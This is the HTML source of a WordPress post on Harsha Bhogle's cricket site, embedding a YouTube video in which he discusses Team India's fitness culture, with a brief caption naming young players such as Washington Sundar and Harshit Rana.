<link rel='stylesheet' id='tnado_hidefi_styles-css' href='https://www.harshabhogle.com/wp-content/plugins/hide-featured-image-on-all-single-pagepost//tnado-styles.css?ver=6.4.9' type='text/css' media='all' />
<link rel='stylesheet' id='rfw-style-css' href='https://www.harshabhogle.com/wp-content/plugins/rss-feed-widget/css/style.css?ver=2026080630' type='text/css' media='all' />
<link rel='stylesheet' id='fontawesome-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/fontawesome.min.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='slick-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/slick.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='perfect-scrollbar-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/perfect-scrollbar.min.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='bootstrap-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/bootstrap.min.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='reset-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/reset.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='normalize-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/normalize.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='main-css' href='https://www.harshabhogle.com/wp-content/themes/solstice/css/main.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='wp-featherlight-css' href='https://www.harshabhogle.com/wp-content/plugins/wp-featherlight/css/wp-featherlight.min.css?ver=1.3.4' type='text/css' media='all' />
    <style type="text/css" media="screen" id="solstice-custom-style">
          </style>
    <script type="text/javascript" src="https://www.harshabhogle.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/themes/solstice/js/vendor/modernizr.min.js?ver=1.0" id="jquery-modernizr-js"></script>
<link rel="https://api.w.org/" href="https://www.harshabhogle.com/wp-json/" /><link rel="alternate" type="application/json" href="https://www.harshabhogle.com/wp-json/wp/v2/posts/2327" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.harshabhogle.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.4.9" />
<link rel="canonical" href="https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/" />
<link rel='shortlink' href='https://www.harshabhogle.com/?p=2327' />
<link rel="alternate" type="application/json+oembed" href="https://www.harshabhogle.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.harshabhogle.com%2F2026%2F08%2F12%2Fharsha-bhogle-on-team-indias-fitness-culture%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://www.harshabhogle.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.harshabhogle.com%2F2026%2F08%2F12%2Fharsha-bhogle-on-team-indias-fitness-culture%2F&#038;format=xml" />
<meta name="generator" content="Redux 4.4.9" /><style type="text/css">.broken_link, a.broken_link {
	text-decoration: line-through;
}</style>		<style type="text/css" id="wp-custom-css">
			.post-content iframe {width:100%}		</style>
		  </head>
  <body class="post-template-default single single-post postid-2327 single-format-standard wp-featherlight-captions sticky-nav-on enable">

    <!-- Sticky Logo -->
        <div class="sticky-nav sticky-nav-on enable">
      <div class="container">
          <div class="row">
              <div class="col-md-12">
                  <div class="logo-container">
                      <a href="https://www.harshabhogle.com/">
                                                      <img src="https://www.harshabhogle.com/wp-content/uploads/2021/07/Harsha-logo-1.png" alt="">
                                                </a>
                  </div><!-- /logo-container -->
              </div><!-- /col-md-12 -->
          </div><!-- /row -->
      </div><!-- /container -->
    </div><!-- /sticky-nav -->
    
    <!-- Top Header -->
    
    

    <section id="wrapper">
      
<div class="top-nav-wrapper">
  <div class="container">
    <div class="row">
      <div class="col-md-12">
                <ul class="top-nav">
                  </ul>
              </div><!-- /col-md-12 -->
    </div><!-- /row -->
  </div><!-- /container -->
</div><!-- /top-nav-wrapper -->
      <header id="main-header">
  <div class="container">
    <div class="row">
      <div class="col-md-12">
        <nav class="main-nav clearfix">
          <a href="#" class="mobile-nav-trigger">
            <span class="bars">
                <span></span>
                <span></span>
                <span></span>
            </span>
          </a>
                      <div class="logo-wrapper">
              <a href="https://www.harshabhogle.com/" class="logo">
                                  <img src="https://www.harshabhogle.com/wp-content/uploads/2021/07/Harsha-logo-1.png" alt="">
                              </a>
            </div><!-- /logo-wrapper -->
            <div class="search-container">
              <a href="#" class="trigger">
                  <i class="fa fa-search"></i>
              </a>
              <form id="signup_form" method="get" class="search-form" action="https://www.harshabhogle.com/">
  <div class="input_var">
      <input class="search-field" type="search" id="s" name="s"  placeholder="Search...">
      <input type="submit" value="&#xf002;">
  </div>
</form>
            </div><!-- /search-container -->
          <ul id="nav" class="main-nav-items"><li id="menu-item-551" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-551"><a href="https://www.harshabhogle.com/biography/">Biography</a></li>
<li id="menu-item-550" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-550"><a href="https://www.harshabhogle.com/media/">Media</a></li>
<li id="menu-item-548" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-548 has-children"><a href="https://www.harshabhogle.com/archives/">Archives</a>
<ul>
	<li id="menu-item-580" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-580 has-children"><a href="https://www.harshabhogle.com/archives/articles/">Articles</a>
	<ul>
		<li id="menu-item-771" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-771"><a href="https://www.harshabhogle.com/rediff-articles/">Rediff Articles</a></li>
		<li id="menu-item-779" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-779"><a href="https://www.harshabhogle.com/cricinfo-articles/">Cricinfo Articles</a></li>
		<li id="menu-item-780" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-780"><a href="https://www.harshabhogle.com/cricbuzz-articles/">Cricbuzz Articles</a></li>
		<li id="menu-item-784" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-784"><a href="https://www.harshabhogle.com/new-indian-express-articles/">New Indian Express Articles</a></li>
		<li id="menu-item-774" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-774"><a href="https://www.harshabhogle.com/archives/articles/">Other Articles</a></li>
	</ul>
</li>
	<li id="menu-item-579" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-579"><a href="https://www.harshabhogle.com/archives/links/">Links</a></li>
	<li id="menu-item-578" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-578"><a href="https://www.harshabhogle.com/archives/people-in-cricket/">People in Cricket</a></li>
	<li id="menu-item-577" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-577"><a href="https://www.harshabhogle.com/archives/the-sachin-collection/">The Sachin Collection</a></li>
	<li id="menu-item-600" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-600"><a href="https://www.harshabhogle.com/archives/podcasts/">Podcasts</a></li>
	<li id="menu-item-899" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-899"><a href="https://www.harshabhogle.com/ipl-retentions/">IPL Retentions</a></li>
</ul>
</li>
<li id="menu-item-552" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-552"><a href="https://www.harshabhogle.com/contact/">Write to Harsha</a></li>
</ul>                <ul class="social-icons big">
              <li><a href="https://www.facebook.com/bhogleharsha"><i class="fa fa-facebook"></i></a></li>
                    <li><a href="https://twitter.com/bhogleharsha"><i class="fa fa-twitter"></i></a></li>
                    <li><a href="https://www.instagram.com/bhogle_harsha/"><i class="fa fa-instagram"></i></a></li>
                                      <li><a href="https://www.youtube.com/@bhogle_harsha"><i class="fa fa-youtube-play"></i></a></li>
                  </ul>
              </nav>
      </div><!-- /col-md-12 -->
    </div><!-- /row -->
  </div><!-- /container -->
</header>

<section class="contents-container">
  <div class="container">
	  <div class="row">
		 		  </div><!-- /row -->
  </div><!-- /container -->
</section>
<section class="contents-container">
  <div class="container">
    <div class="row">
      <div class="col-md-8">
        <div class="contents-inner clearfix">
          
<article class="blog-post col-md-12">
  <header>
    <h3><a href="https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/">Harsha Bhogle on Team India&#8217;s fitness culture</a></h3>
    <div class="meta">


</div><!-- /meta -->

    
      <figure>
        <a href="https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/" title="Harsha Bhogle on Team India&#039;s fitness culture"></a>      </figure>
      </header>

  <div class="post-content">
    <p><iframe width="480" height="360" src="https://www.youtube.com/embed/BHzCA8ulE8U" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe><br />
The willingness and desire to be fit at all times comes from inside, like fielding, and I hope the likes of Washington Sundar, Nitish Reddy, Harshit Rana and the others are telling themselves &#8211; I need to look after myself really well for my career.</p>
<p>Follow me on:<br />
Instagram: https://ift.tt/GbX6i1R<br />
Twitter: https://ift.tt/51wJ9qT</p>
<p>Subscribe the Youtube channel now for insightful cricket stories and beyond!</p>
      </div><!-- /post-content -->

      <div class="post-share clearfix">
      <!-- <p class="counter"><span>53</span>Shares</p> -->
      <ul class="social-icons style2">
                  <li><a href="https://www.facebook.com/sharer/sharer.php?u=https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/"><i class="fa fa-facebook"></i>Like</a></li>
                          <li><a href="https://twitter.com/home?status=https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/"><i class="fa fa-twitter"></i>Tweet</a></li>
                                              </ul>
    </div><!-- /post-share -->
  
  <div class="post-meta">
      <p class="author">By: <a href="#">aryyuy_jijdk6</a></p>
      <div class="post-tags">
        Tags:        <ul>
                  </ul>
      </div><!-- /post-tags -->
  </div><!-- /post-meta -->

  <div class="post-author">
    <figure class="avatar">
      <img alt='' src='https://secure.gravatar.com/avatar/020bb43c21c16c45d7de2211113b2f6c?s=90&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/020bb43c21c16c45d7de2211113b2f6c?s=180&#038;d=mm&#038;r=g 2x' class='media-object img-responsive img-circle avatar-90 photo' height='90' width='90' decoding='async'/>    </figure>
    <div class="author-details">
            <h2>aryyuy_jijdk6</h2>
      <p>
                  There is no author description yet.              </p>

            <ul class="social-icons small">
                  <li><a href="https://www.facebook.com/bhogleharsha"><i class="fa fa-facebook"></i></a></li>
                          <li><a href="https://twitter.com/bhogleharsha"><i class="fa fa-twitter"></i></a></li>
                          <li><a href="https://www.instagram.com/bhogle_harsha/"><i class="fa fa-instagram"></i></a></li>
                                                  <li><a href="https://www.youtube.com/@bhogle_harsha"><i class="fa fa-youtube-play"></i></a></li>
                      </ul>
      
    </div><!-- /author-details -->
  </div><!-- /post-author -->

  
  
<!-- Comments -->
<section class="post-comments">
  <!--<section class="post-comment" id="comments">-->

    <h6>0 Comments</h6>

    
    <ul class="comments-list">
          </ul>

  <!--</section>-->
  <!-- End Comments -->

  <!-- Add Comment -->
  <div class="comment-form-container">

    	<div id="respond" class="comment-respond">
		<h3 id="reply-title" class="comment-reply-title">Leave a Comment <small><a rel="nofollow" id="cancel-comment-reply-link" href="/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/#respond" style="display:none;">Cancel Comment</a></small></h3><form action="https://www.harshabhogle.com/wp-comments-post.php" method="post" id="commentform" class="comment-form">
          <div class="row"><div class="col-md-12"><label>Comment</label><textarea name="comment" id="text"  aria-required='true' class="form-control form-white placeholder" rows="10"  maxlength="400"></textarea></div>
          
                <div class="col-md-4">
                  <!-- Name -->
                  <label>Name  <span class="color-red">*</span></label>
                  <input type="text" name="author" id="name"  aria-required='true' class="form-control form-white placeholder" maxlength="100">
                </div>

                <div class="col-md-4">
                  <!-- Email -->
                  <label>Email</label>
                  <input type="email" name="email"id="email" class="form-control form-white placeholder" maxlength="100">
                </div>

              <div class="col-md-4">
                <label>Website</label>
                <input type="text" name="url" id="website" class="form-control form-white m-b-20 placeholder" maxlength="100"></div></div>
<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time I comment.</label></p>
<p class="form-submit"><input name="submit" type="submit" id="comment_submit" class="btn btn-dark comment-button btn-rounded hover-effect m-t-20" value="Post Comment" /> <input type='hidden' name='comment_post_ID' value='2327' id='comment_post_ID' />
<input type='hidden' name='comment_parent' id='comment_parent' value='0' />
</p></form>	</div><!-- #respond -->
	    <!-- End Form -->

  </div>
<!-- End Add Comment -->
</section>

</article>
        </div><!-- /contents-inner -->
      </div><!-- /col-md-8 -->
            <!-- this is for sidebar-->
      <div class="col-md-4">
        <div class="sidebar">
                      <div id="search-2" class="widget widget_search"><form id="signup_form" method="get" class="search-form" action="https://www.harshabhogle.com/">
  <div class="input_var">
      <input class="search-field" type="search" id="s" name="s"  placeholder="Search...">
      <input type="submit" value="&#xf002;">
  </div>
</form>
</div><div id="block-2" class="widget widget_block"><a class="twitter-timeline" data-width="310" data-height="500" data-dnt="true" href="https://twitter.com/bhogleharsha?ref_src=twsrc%5Etfw">Tweets by bhogleharsha</a> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div><div id="block-3" class="widget widget_block"><script src="https://static.elfsight.com/platform/platform.js" data-use-service-core defer></script>
<div class="elfsight-app-2e512ff9-c885-492f-bed6-033fcb634efe" data-elfsight-app-lazy></div></div><style type="text/css">
			.rfw_dock-2.rfw_more{
				display:none;
			}
			
			</style><aside id="rfw_dock-20" data-class="rfw_dock-2" class="rfw-class  rfw_dock-2"><nav class="add-nav widget_dock" id="rfw-widget-0"></ul></nav></aside><script type="text/javascript" language="javascript">jQuery(document).ready(function($){	
										$('#rfw_dock-20 .rfw_dock.rfw_slider').bxSlider({
											  auto: true,
											  adaptiveHeight: true,
											  pager: true,
											  controls: false,
											  infiniteLoop: true,
											  speed: 0,
											  mode: 'horizontal',
											  pause: 10000,
											  ticker: false,
											  pagerType: 'full',
											  randomStart: true,
											  hideControlOnEnd: true,
											  easing: 'linear',
											  captions: false,
											  video: true,
											  responsive: true,
											  useCSS: true,
											  preloadImages: 'visible',
											  touchEnabled: true
										});
									});
								</script>                  </div>
      </div><!-- /col-md-4 -->
      <!--sidebar ends-->
      
    </div><!-- /row -->
  </div><!-- /container -->
</section>


<div id="instagram-footer">
          
              
</div>

<footer id="main-footer">
    <div class="footer-logo">
              <a href="https://www.harshabhogle.com/" class="logo">
                                  <img src="https://www.harshabhogle.com/wp-content/uploads/2021/07/Harsha-logo-2.png" alt="">
                              </a>
  </div><!-- /logo-wrapper -->
  <div class="container">
    <div class="row">
      <div class="col-md-4">
              </div><!-- /col-md-4 -->
      <div class="col-md-4">
                  <div id="text-3" class="widget widget_text">			<div class="textwidget"><p><a href="https://www.harshabhogle.com/contact/"><center>Write to Harsha</center></a></p>
</div>
		</div>              </div><!-- /col-md-4 -->
      <div class="col-md-4">
              </div><!-- /col-md-4 -->
    </div><!-- /row -->
  </div><!-- /container -->
</footer>

<div id="bottom-footer">
        <ul class="social-icons small">
              <li><a href="https://www.facebook.com/bhogleharsha"><i class="fa fa-facebook"></i></a></li>
                    <li><a href="https://twitter.com/bhogleharsha"><i class="fa fa-twitter"></i></a></li>
                    <li><a href="https://www.instagram.com/bhogle_harsha/"><i class="fa fa-instagram"></i></a></li>
                                      <li><a href="https://www.youtube.com/@bhogle_harsha"><i class="fa fa-youtube-play"></i></a></li>
                  </ul>
        <p class="copyright">Copyright @ Harsha Bhogle 2023. All Rights Reserved</p>
</div><!-- /bottom-footer -->

</section><!-- /wrapper -->
  <!-- Instagram Feed JS -->
<script type="text/javascript">
var sbiajaxurl = "https://www.harshabhogle.com/wp-admin/admin-ajax.php";
</script>
<link rel='stylesheet' id='rfw-slider-style-css' href='https://www.harshabhogle.com/wp-content/plugins/rss-feed-widget/css/jquery.bxslider.css?ver=2026080630' type='text/css' media='all' />
<script type="text/javascript" id="rfw-script-js-extra">
/* <![CDATA[ */
var rfw = {"speed":""};
/* ]]> */
</script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/plugins/rss-feed-widget/js/functions.js?ver=2026080630" id="rfw-script-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/plugins/rss-feed-widget/js/jquery.fitvids.js?ver=2026080630" id="rfw-script-fitvid-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-includes/js/comment-reply.min.js?ver=6.4.9" id="comment-reply-js" async="async" data-wp-strategy="async"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/themes/solstice/js/plugins.js?ver=1.0" id="jquery-plugins-js"></script>
<script type="text/javascript" id="jquery-main-js-extra">
/* <![CDATA[ */
var rs_ajax = {"ajaxurl":"https:\/\/www.harshabhogle.com\/wp-admin\/admin-ajax.php","siteurl":"https:\/\/www.harshabhogle.com\/wp-content\/themes\/solstice"};
/* ]]> */
</script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/themes/solstice/js/main.js?ver=1.0" id="jquery-main-js"></script>
<script type="text/javascript" id="wpfront-scroll-top-js-extra">
/* <![CDATA[ */
var wpfront_scroll_top_data = {"data":{"css":"#wpfront-scroll-top-container{display:none;position:fixed;cursor:pointer;z-index:9999;opacity:0}#wpfront-scroll-top-container div.text-holder{padding:3px 10px;border-radius:3px;-webkit-border-radius:3px;-webkit-box-shadow:4px 4px 5px 0 rgba(50,50,50,.5);-moz-box-shadow:4px 4px 5px 0 rgba(50,50,50,.5);box-shadow:4px 4px 5px 0 rgba(50,50,50,.5)}#wpfront-scroll-top-container a{outline-style:none;box-shadow:none;text-decoration:none}#wpfront-scroll-top-container {right: 20px;bottom: 20px;}        #wpfront-scroll-top-container img {\n            width: auto;\n            height: auto;\n        }\n        ","html":"<div id=\"wpfront-scroll-top-container\"><img src=\"https:\/\/www.harshabhogle.com\/wp-content\/plugins\/wpfront-scroll-top\/images\/icons\/1.png\" alt=\"\" title=\"\" \/><\/div>","data":{"hide_iframe":false,"button_fade_duration":200,"auto_hide":false,"auto_hide_after":2,"scroll_offset":100,"button_opacity":0.8,"button_action":"top","button_action_element_selector":"","button_action_container_selector":"html, body","button_action_element_offset":"0","scroll_duration":400}}};
/* ]]> */
</script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/plugins/wpfront-scroll-top/js/wpfront-scroll-top.min.js?ver=2.2.10081" id="wpfront-scroll-top-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/plugins/wp-featherlight/js/wpFeatherlight.pkgd.min.js?ver=1.3.4" id="wp-featherlight-js"></script>
<script type="text/javascript" src="https://www.harshabhogle.com/wp-content/plugins/rss-feed-widget/js/jquery.bxslider.js?ver=2026080630" id="rfw-slider-script-js"></script>
  </body>
</html>